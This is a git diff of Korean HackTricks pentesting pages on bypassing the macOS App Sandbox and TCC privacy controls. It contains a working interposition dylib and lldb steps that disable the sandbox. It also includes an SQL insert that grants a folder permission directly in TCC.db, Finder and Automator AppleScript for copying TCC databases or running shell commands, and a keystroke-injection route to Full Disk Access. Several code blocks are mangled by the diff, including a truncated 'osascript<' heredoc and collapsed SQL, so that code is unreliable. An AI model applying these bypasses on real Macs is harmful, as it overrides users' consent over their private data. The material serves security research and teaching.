* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -22,19 +22,19 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
컴파일러는 `/usr/lib/libSystem.B.dylib`를 이진 파일에 링크합니다.
|
||||
|
||||
그런 다음 **`libSystem.B`**은 **`xpc_pipe_routine`**이 앱의 권한을 **`securityd`**에게 보내기까지 여러 함수를 호출합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리됩니다.\
|
||||
마지막으로, 샌드박스는 **`__sandbox_ms`**를 호출하여 **`__mac_syscall`**을 호출합니다.
|
||||
그런 다음 \*\*`libSystem.B`\*\*은 \*\*`xpc_pipe_routine`\*\*이 앱의 권한을 \*\*`securityd`\*\*에게 보내기까지 여러 함수를 호출합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리됩니다.\
|
||||
마지막으로, 샌드박스는 \*\*`__sandbox_ms`\*\*를 호출하여 \*\*`__mac_syscall`\*\*을 호출합니다.
|
||||
|
||||
## 우회 가능성
|
||||
|
||||
### 격리 속성 우회
|
||||
|
||||
샌드박스 프로세스가 생성하는 파일은 샌드박스 탈출을 방지하기 위해 **격리 속성**이 추가됩니다. 그러나 샌드박스된 애플리케이션 내에서 **격리 속성이 없는 `.app` 폴더**를 만들 수 있다면, 앱 번들 이진 파일을 **`/bin/bash`**로 지정하고 **plist**에 일부 환경 변수를 추가하여 **`open`**을 남용하여 **새로운 앱을 샌드박스에서 벗어나게** 할 수 있습니다.
|
||||
샌드박스 프로세스가 생성하는 파일은 샌드박스 탈출을 방지하기 위해 **격리 속성**이 추가됩니다. 그러나 샌드박스된 애플리케이션 내에서 **격리 속성이 없는 `.app` 폴더**를 만들 수 있다면, 앱 번들 이진 파일을 \*\*`/bin/bash`\*\*로 지정하고 **plist**에 일부 환경 변수를 추가하여 \*\*`open`\*\*을 남용하여 **새로운 앱을 샌드박스에서 벗어나게** 할 수 있습니다.
|
||||
|
||||
이것은 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)에서 수행된 작업입니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
따라서 현재 당장은 **격리 속성이 없는 `.app` 폴더**를 생성할 수 있다면, macOS는 **격리 속성**을 **`.app` 폴더**와 **주 실행 파일**에서만 확인하기 때문에 샌드박스를 탈출할 수 있습니다. (주 실행 파일을 **`/bin/bash`**로 지정할 것입니다).
|
||||
따라서 현재 당장은 **격리 속성이 없는 `.app` 폴더**를 생성할 수 있다면, macOS는 **격리 속성**을 **`.app` 폴더**와 **주 실행 파일**에서만 확인하기 때문에 샌드박스를 탈출할 수 있습니다. (주 실행 파일을 \*\*`/bin/bash`\*\*로 지정할 것입니다).
|
||||
|
||||
이미 실행이 허가된 .app 번들이 있다면 (허가된 실행 플래그가 있는 격리 xttr이 있는 경우), 이를 남용할 수도 있습니다. 그러나 이제 샌드박스 높은 내부에서는 **`.app`** 번들에 쓸 수 없습니다(특권 있는 TCC 권한이 없는 한).
|
||||
{% endhint %}
|
||||
|
@ -77,18 +77,21 @@ HackTricks를 지원하는 다른 방법:
|
|||
[**이 연구**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)에서는 샌드박스를 우회하는 두 가지 방법을 발견했습니다. 샌드박스는 **libSystem** 라이브러리가 로드될 때 사용자 공간에서 적용됩니다. 이진 파일이 해당 라이브러리를 로드하지 않도록 피할 수 있다면 샌드박스가 적용되지 않을 것입니다:
|
||||
|
||||
* 이진 파일이 **완전히 정적으로 컴파일**되면 해당 라이브러리를 로드하지 않을 수 있습니다.
|
||||
* **이진 파일이 라이브러리를 로드하지 않아도 되는 경우** (링커도 libSystem에 있기 때문에), libSystem을 로드할 필요가 없습니다. 
|
||||
* **이진 파일이 라이브러리를 로드하지 않아도 되는 경우** (링커도 libSystem에 있기 때문에), libSystem을 로드할 필요가 없습니다.
|
||||
|
||||
### 쉘코드
|
||||
|
||||
ARM64에서도 **쉘코드**는 `libSystem.dylib`에 링크되어야 합니다.
|
||||
|
||||
```bash
|
||||
ld -o shell shell.o -macosx_version_min 13.0
|
||||
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
||||
```
|
||||
|
||||
### 권한
|
||||
|
||||
애플리케이션이 특정 권한을 가지고 있다면, 샌드박스에서 허용되는 동작이더라도 해당 권한에 따라 특정 동작이 허용될 수 있습니다. 예를 들어:
|
||||
|
||||
```scheme
|
||||
(when (entitlement "com.apple.security.network.client")
|
||||
(allow network-outbound (remote ip))
|
||||
|
@ -98,15 +101,17 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
|
|||
(global-name "com.apple.cfnetwork.cfnetworkagent")
|
||||
[...]
|
||||
```
|
||||
|
||||
### Interposting Bypass
|
||||
|
||||
**Interposting**에 대한 자세한 정보는 다음을 참조하십시오:
|
||||
|
||||
{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md)
|
||||
{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../../../macos-proces-abuse/macos-function-hooking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### `_libsecinit_initializer`를 Interpost하여 샌드박스 방지하기
|
||||
|
||||
```c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
|
||||
|
@ -130,6 +135,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
|||
_libsecinit_initializer called
|
||||
Sandbox Bypassed!
|
||||
```
|
||||
|
||||
#### 샌드박스를 우회하기 위해 `__mac_syscall`을 Interpose합니다.
|
||||
|
||||
{% code title="interpose.c" %}
|
||||
|
@ -165,6 +171,7 @@ __attribute__((used)) static const struct interpose_sym interposers[] __attribut
|
|||
};
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||||
|
||||
|
@ -176,18 +183,21 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
|
|||
__mac_syscall invoked. Policy: Sandbox, Call: 4
|
||||
Sandbox Bypassed!
|
||||
```
|
||||
|
||||
### lldb를 사용하여 Sandbox 디버그 및 우회하기
|
||||
|
||||
Sandbox가 적용되어야 하는 응용 프로그램을 컴파일해 봅시다:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sand.c" %}
|
||||
{% tab title="undefined" %}
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
int main() {
|
||||
system("cat ~/Desktop/del.txt");
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements.xml" %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -197,7 +207,6 @@ system("cat ~/Desktop/del.txt");
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% tab title="Info.plist" %}
|
||||
|
||||
Info.plist 파일에는 앱의 정보와 설정이 포함되어 있습니다. 이 파일은 macOS 앱의 기본 설정 파일로 사용됩니다. 앱의 이름, 버전, 아이콘, 권한 등의 정보를 포함하고 있습니다. Info.plist 파일은 앱 번들의 최상위 디렉토리에 위치하며, 앱이 실행될 때 macOS가 이 파일을 읽어 앱을 구성합니다.
|
||||
|
||||
|
@ -207,7 +216,6 @@ Info.plist 파일은 XML 형식으로 작성되며, 키-값 쌍으로 구성됩
|
|||
|
||||
Info.plist 파일을 수정하여 Sandbox 환경을 우회하거나 해제하는 것은 보안 취약점을 악용하는 행위입니다. 이는 macOS 보안 기능을 우회하는 것으로 간주되며, 불법적인 목적으로 사용해서는 안 됩니다.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
|
@ -238,12 +246,14 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
|
|||
{% hint style="danger" %}
|
||||
앱은 **`~/Desktop/del.txt`** 파일을 **읽으려고 시도**할 것이며, **샌드박스가 허용하지 않습니다**.\
|
||||
샌드박스를 우회하면 읽을 수 있도록 해당 위치에 파일을 생성하세요:
|
||||
|
||||
```bash
|
||||
echo "Sandbox Bypassed" > ~/Desktop/del.txt
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
애플리케이션을 디버그하여 샌드박스가 언제 로드되는지 확인해 봅시다:
|
||||
|
||||
```bash
|
||||
# Load app in debugging
|
||||
lldb ./sand
|
||||
|
@ -320,6 +330,7 @@ Process 2517 resuming
|
|||
Sandbox Bypassed!
|
||||
Process 2517 exited with status = 0 (0x00000000)
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
**샌드박스 우회된 경우에도 TCC**는 사용자에게 프로세스가 데스크탑에서 파일을 읽을 것인지 허용할지 물어봅니다.
|
||||
{% endhint %}
|
||||
|
@ -339,7 +350,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
다른 HackTricks 지원 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)**는 애플리케이션 권한을 규제하는 보안 프로토콜입니다. 주요 역할은 **위치 서비스, 연락처, 사진, 마이크로폰, 카메라, 접근성 및 전체 디스크 액세스**와 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 액세스를 승인하기 전에 명시적 사용자 동의를 요구함으로써 개인 정보 보호와 사용자 데이터에 대한 제어를 강화합니다.
|
||||
\*\*TCC (Transparency, Consent, and Control)\*\*는 애플리케이션 권한을 규제하는 보안 프로토콜입니다. 주요 역할은 **위치 서비스, 연락처, 사진, 마이크로폰, 카메라, 접근성 및 전체 디스크 액세스**와 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 액세스를 승인하기 전에 명시적 사용자 동의를 요구함으로써 개인 정보 보호와 사용자 데이터에 대한 제어를 강화합니다.
|
||||
|
||||
사용자는 애플리케이션이 보호된 기능에 액세스를 요청할 때 TCC를 만납니다. 이는 사용자가 **액세스를 승인하거나 거부**할 수 있는 프롬프트를 통해 확인할 수 있습니다. 또한 TCC는 **파일을 애플리케이션으로 끌어다 놓는** 등의 직접적인 사용자 작업을 수용하여 특정 파일에 대한 액세스를 허용함으로써 애플리케이션이 명시적으로 허용된 것만 액세스하도록 보장합니다.
|
||||
|
||||
|
@ -27,35 +27,37 @@
|
|||
로그인한 사용자 당 **사용자 모드 tccd**가 정의된 `/System/Library/LaunchAgents/com.apple.tccd.plist`에서 실행되며 `com.apple.tccd` 및 `com.apple.usernotifications.delegate.com.apple.tccd` 맥 서비스를 등록합니다.
|
||||
|
||||
여기서 시스템 및 사용자로 실행되는 tccd를 볼 수 있습니다:
|
||||
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
```
|
||||
|
||||
허가는 **상위 애플리케이션에서 상속**되며 **Bundle ID** 및 **개발자 ID**에 따라 **추적**됩니다.
|
||||
|
||||
### TCC 데이터베이스
|
||||
|
||||
허용/거부 사항은 일부 TCC 데이터베이스에 저장됩니다:
|
||||
|
||||
* **`/Library/Application Support/com.apple.TCC/TCC.db`**에있는 시스템 전체 데이터베이스.
|
||||
* \*\*`/Library/Application Support/com.apple.TCC/TCC.db`\*\*에있는 시스템 전체 데이터베이스.
|
||||
* 이 데이터베이스는 **SIP로 보호**되어 있어 SIP 우회만 쓸 수 있습니다.
|
||||
* 사용자 TCC 데이터베이스 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**는 사용자별 환경 설정을 위해 사용됩니다.
|
||||
* 사용자 TCC 데이터베이스 \*\*`$HOME/Library/Application Support/com.apple.TCC/TCC.db`\*\*는 사용자별 환경 설정을 위해 사용됩니다.
|
||||
* 이 데이터베이스는 Full Disk Access와 같은 높은 TCC 권한을 가진 프로세스만 쓸 수 있습니다 (하지만 SIP로 보호되지는 않음).
|
||||
|
||||
{% hint style="warning" %}
|
||||
이전 데이터베이스는 **읽기 액세스를 위해 TCC로 보호**됩니다. 따라서 TCC 권한이 있는 프로세스가 아니라면 일반 사용자 TCC 데이터베이스를 읽을 수 없습니다.
|
||||
|
||||
그러나 **FDA** 또는 **`kTCCServiceEndpointSecurityClient`**와 같은 높은 권한을 가진 프로세스는 사용자 TCC 데이터베이스를 쓸 수 있습니다.
|
||||
그러나 **FDA** 또는 \*\*`kTCCServiceEndpointSecurityClient`\*\*와 같은 높은 권한을 가진 프로세스는 사용자 TCC 데이터베이스를 쓸 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
* **세 번째** TCC 데이터베이스는 **`/var/db/locationd/clients.plist`**에 위치하며 위치 서비스에 액세스할 수 있는 클라이언트를 나타냅니다.
|
||||
* **세 번째** TCC 데이터베이스는 \*\*`/var/db/locationd/clients.plist`\*\*에 위치하며 위치 서비스에 액세스할 수 있는 클라이언트를 나타냅니다.
|
||||
* SIP로 보호된 파일 **`/Users/carlospolop/Downloads/REG.db`** (TCC로 읽기 액세스도 보호됨)에는 모든 **유효한 TCC 데이터베이스의 위치**가 포함되어 있습니다.
|
||||
* SIP로 보호된 파일 **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC로 읽기 액세스도 보호됨)에는 더 많은 TCC 허가 권한이 포함되어 있습니다.
|
||||
* SIP로 보호된 파일 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (누구나 읽을 수 있음)은 TCC 예외가 필요한 응용 프로그램의 허용 목록입니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
**iOS**의 TCC 데이터베이스는 **`/private/var/mobile/Library/TCC/TCC.db`**에 있습니다.
|
||||
**iOS**의 TCC 데이터베이스는 \*\*`/private/var/mobile/Library/TCC/TCC.db`\*\*에 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -126,15 +128,16 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
두 데이터베이스를 모두 확인하면 앱이 허용한 권한, 금지한 권한 또는 허용하지 않은 권한을 확인할 수 있습니다 (요청할 것입니다).
|
||||
{% endhint %}
|
||||
|
||||
- **`service`**는 TCC **권한** 문자열 표현입니다.
|
||||
- **`client`**는 권한이 있는 번들 ID 또는 이진 파일의 경로입니다.
|
||||
- **`client_type`**은 번들 식별자(0)인지 아니면 절대 경로(1)인지를 나타냅니다.
|
||||
* \*\*`service`\*\*는 TCC **권한** 문자열 표현입니다.
|
||||
* \*\*`client`\*\*는 권한이 있는 번들 ID 또는 이진 파일의 경로입니다.
|
||||
* \*\*`client_type`\*\*은 번들 식별자(0)인지 아니면 절대 경로(1)인지를 나타냅니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>절대 경로인 경우 실행하는 방법</summary>
|
||||
|
||||
절대 경로인 경우 **`launctl load you_bin.plist`**를 실행하면 됩니다. plist 파일은 다음과 같습니다:
|
||||
절대 경로인 경우 \*\*`launctl load you_bin.plist`\*\*를 실행하면 됩니다. plist 파일은 다음과 같습니다:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -171,11 +174,13 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
* **`auth_value`**는 다양한 값들을 가질 수 있습니다: denied(0), unknown(1), allowed(2), 또는 limited(3).
|
||||
* **`auth_reason`**은 다음과 같은 값을 가질 수 있습니다: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* \*\*`auth_value`\*\*는 다양한 값들을 가질 수 있습니다: denied(0), unknown(1), allowed(2), 또는 limited(3).
|
||||
* \*\*`auth_reason`\*\*은 다음과 같은 값을 가질 수 있습니다: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* **csreq** 필드는 실행할 이진 파일을 확인하고 TCC 권한을 부여하는 방법을 나타내기 위해 존재합니다:
|
||||
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -191,15 +196,17 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
|
||||
* 테이블의 **다른 필드**에 대한 자세한 정보는 [**이 블로그 포스트**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)를 확인하세요.
|
||||
|
||||
또한 `시스템 환경설정 --> 보안 및 개인 정보 보호 --> 개인 정보 --> 파일 및 폴더`에서 앱에 **이미 부여된 권한**을 확인할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
사용자는 **`tccutil`**을 사용하여 **룰을 삭제하거나 쿼리**할 수 있습니다.
|
||||
사용자는 \*\*`tccutil`\*\*을 사용하여 **룰을 삭제하거나 쿼리**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
#### TCC 권한 재설정
|
||||
|
||||
```bash
|
||||
# You can reset all the permissions given to an application with
|
||||
tccutil reset All app.some.id
|
||||
|
@ -207,6 +214,7 @@ tccutil reset All app.some.id
|
|||
# Reset the permissions granted to all apps
|
||||
tccutil reset All
|
||||
```
|
||||
|
||||
### TCC 서명 확인
|
||||
|
||||
TCC **데이터베이스**는 애플리케이션의 **번들 식별자**를 저장하지만, **권한을 사용하려는** 앱이 올바른지 확인하기 위해 **서명에 대한 정보**도 저장합니다.
|
||||
|
@ -237,6 +245,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
그러나 앱이 `~/Desktop`, `~/Downloads`, `~/Documents`와 같은 **특정 사용자 폴더에 액세스**하려면 특정 **엔타이틀먼트가 필요하지 않습니다.** 시스템은 액세스를 투명하게 처리하고 필요할 때 **사용자에게 프롬프트를 표시**합니다.
|
||||
|
||||
애플의 앱들은 **프롬프트를 생성하지 않습니다.** 그들은 **엔타이틀먼트 목록에 사전 부여된 권한**을 포함하고 있으며, 이는 **팝업을 생성하지 않을 뿐만 아니라** TCC 데이터베이스 중 어디에도 나타나지 않을 것입니다. 예를 들어:
|
||||
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -247,6 +256,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
|
||||
이렇게 하면 Calendar이 사용자에게 알림, 캘린더 및 주소록에 액세스할 것을 요청하지 않습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
|
@ -264,6 +274,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
### 사용자 의도 / com.apple.macl
|
||||
|
||||
이전에 언급했듯이 **파일을 앱에 드래그앤드롭하여 해당 파일에 대한 액세스를 허용할 수 있습니다**. 이 액세스는 TCC 데이터베이스에 명시되지 않지만 **파일의 확장된 속성으로 저장됩니다**. 이 속성은 허용된 앱의 **UUID를 저장**할 것입니다:
|
||||
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -278,6 +289,7 @@ Filename,Header,App UUID
|
|||
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
|
||||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
**`com.apple.macl`** 속성이 **Sandbox**에 의해 관리되고 있고 tccd가 아닌 것이 신기합니다.
|
||||
|
||||
|
@ -295,45 +307,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
|||
<details>
|
||||
|
||||
<summary>TCC에 삽입 예시</summary>
|
||||
```sql
|
||||
INSERT INTO access (
|
||||
service,
|
||||
client,
|
||||
client_type,
|
||||
auth_value,
|
||||
auth_reason,
|
||||
auth_version,
|
||||
csreq,
|
||||
policy_id,
|
||||
indirect_object_identifier_type,
|
||||
indirect_object_identifier,
|
||||
indirect_object_code_identity,
|
||||
flags,
|
||||
last_modified,
|
||||
pid,
|
||||
pid_version,
|
||||
boot_uuid,
|
||||
last_reminded
|
||||
) VALUES (
|
||||
'kTCCServiceSystemPolicyDesktopFolder', -- service
|
||||
'com.googlecode.iterm2', -- client
|
||||
0, -- client_type (0 - bundle id)
|
||||
2, -- auth_value (2 - allowed)
|
||||
3, -- auth_reason (3 - "User Set")
|
||||
1, -- auth_version (always 1)
|
||||
X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
|
||||
NULL, -- policy_id
|
||||
NULL, -- indirect_object_identifier_type
|
||||
'UNUSED', -- indirect_object_identifier - default value
|
||||
NULL, -- indirect_object_code_identity
|
||||
0, -- flags
|
||||
strftime('%s', 'now'), -- last_modified with default current timestamp
|
||||
NULL, -- assuming pid is an integer and optional
|
||||
NULL, -- assuming pid_version is an integer and optional
|
||||
'UNUSED', -- default value for boot_uuid
|
||||
strftime('%s', 'now') -- last_reminded with default current timestamp
|
||||
);
|
||||
```
|
||||
|
||||
\`\`\`sql INSERT INTO access ( service, client, client\_type, auth\_value, auth\_reason, auth\_version, csreq, policy\_id, indirect\_object\_identifier\_type, indirect\_object\_identifier, indirect\_object\_code\_identity, flags, last\_modified, pid, pid\_version, boot\_uuid, last\_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client\_type (0 - bundle id) 2, -- auth\_value (2 - allowed) 3, -- auth\_reason (3 - "User Set") 1, -- auth\_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy\_id NULL, -- indirect\_object\_identifier\_type 'UNUSED', -- indirect\_object\_identifier - default value NULL, -- indirect\_object\_code\_identity 0, -- flags strftime('%s', 'now'), -- last\_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid\_version is an integer and optional 'UNUSED', -- default value for boot\_uuid strftime('%s', 'now') -- last\_reminded with default current timestamp ); \`\`\`
|
||||
|
||||
</details>
|
||||
|
||||
### TCC 페이로드
|
||||
|
@ -350,7 +326,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
이 특정 TCC 권한은 또한 TCC 데이터베이스 내에서 **관리할 수 있는 애플리케이션**을 나타냅니다 (따라서 권한은 모든 것을 관리할 수 있는 것이 아닙니다).
|
||||
|
||||
**Finder**는 **항상 FDA를 가지고** 있습니다 (UI에 나타나지 않더라도), 따라서 **자동화** 권한을 가지고 있다면 해당 권한을 악용하여 **일부 작업을 수행**할 수 있습니다.\
|
||||
이 경우 앱은 **`com.apple.Finder`**에 대한 **`kTCCServiceAppleEvents`** 권한이 필요합니다.
|
||||
이 경우 앱은 \*\*`com.apple.Finder`\*\*에 대한 **`kTCCServiceAppleEvents`** 권한이 필요합니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="사용자 TCC.db 도용하기" %}
|
||||
|
@ -397,25 +373,14 @@ EOD
|
|||
<details>
|
||||
|
||||
<summary>Automator 내부에서 셸 가져오기</summary>
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
set theScript to "touch /tmp/something"
|
||||
|
||||
tell application "Automator"
|
||||
set actionID to Automator action id "com.apple.RunShellScript"
|
||||
tell (make new workflow)
|
||||
add actionID to it
|
||||
tell last Automator action
|
||||
set value of setting "inputMethod" to 1
|
||||
set value of setting "COMMAND_STRING" to theScript
|
||||
end tell
|
||||
execute it
|
||||
end tell
|
||||
activate
|
||||
end tell
|
||||
EOD
|
||||
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||
```
|
||||
\`\`\`applescript osascript<
|
||||
|
||||
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND\_STRING" to theScript end tell execute it end tell activate end tell EOD
|
||||
|
||||
## Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
**스크립트 편집기 앱**도 마찬가지입니다. Finder를 제어할 수 있지만 AppleScript를 사용하여 스크립트를 실행하도록 강제할 수는 없습니다.
|
||||
|
@ -463,12 +428,14 @@ EOD
|
|||
# File operations in the folder should trigger the Folder Action
|
||||
touch "$HOME/Desktop/file"
|
||||
rm "$HOME/Desktop/file"
|
||||
```
|
||||
### 자동화 (SE) + 접근성 (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** to FDA\*
|
||||
````
|
||||
|
||||
**`System Events`**에서의 자동화 + 접근성 (**`kTCCServicePostEvent`**)을 통해 **프로세스에 키 입력을 보낼 수 있습니다**. 이렇게 하면 Finder를 남의 TCC.db를 변경하거나 임의의 앱에 FDA를 부여할 수 있습니다 (비밀번호가 요청될 수 있음).
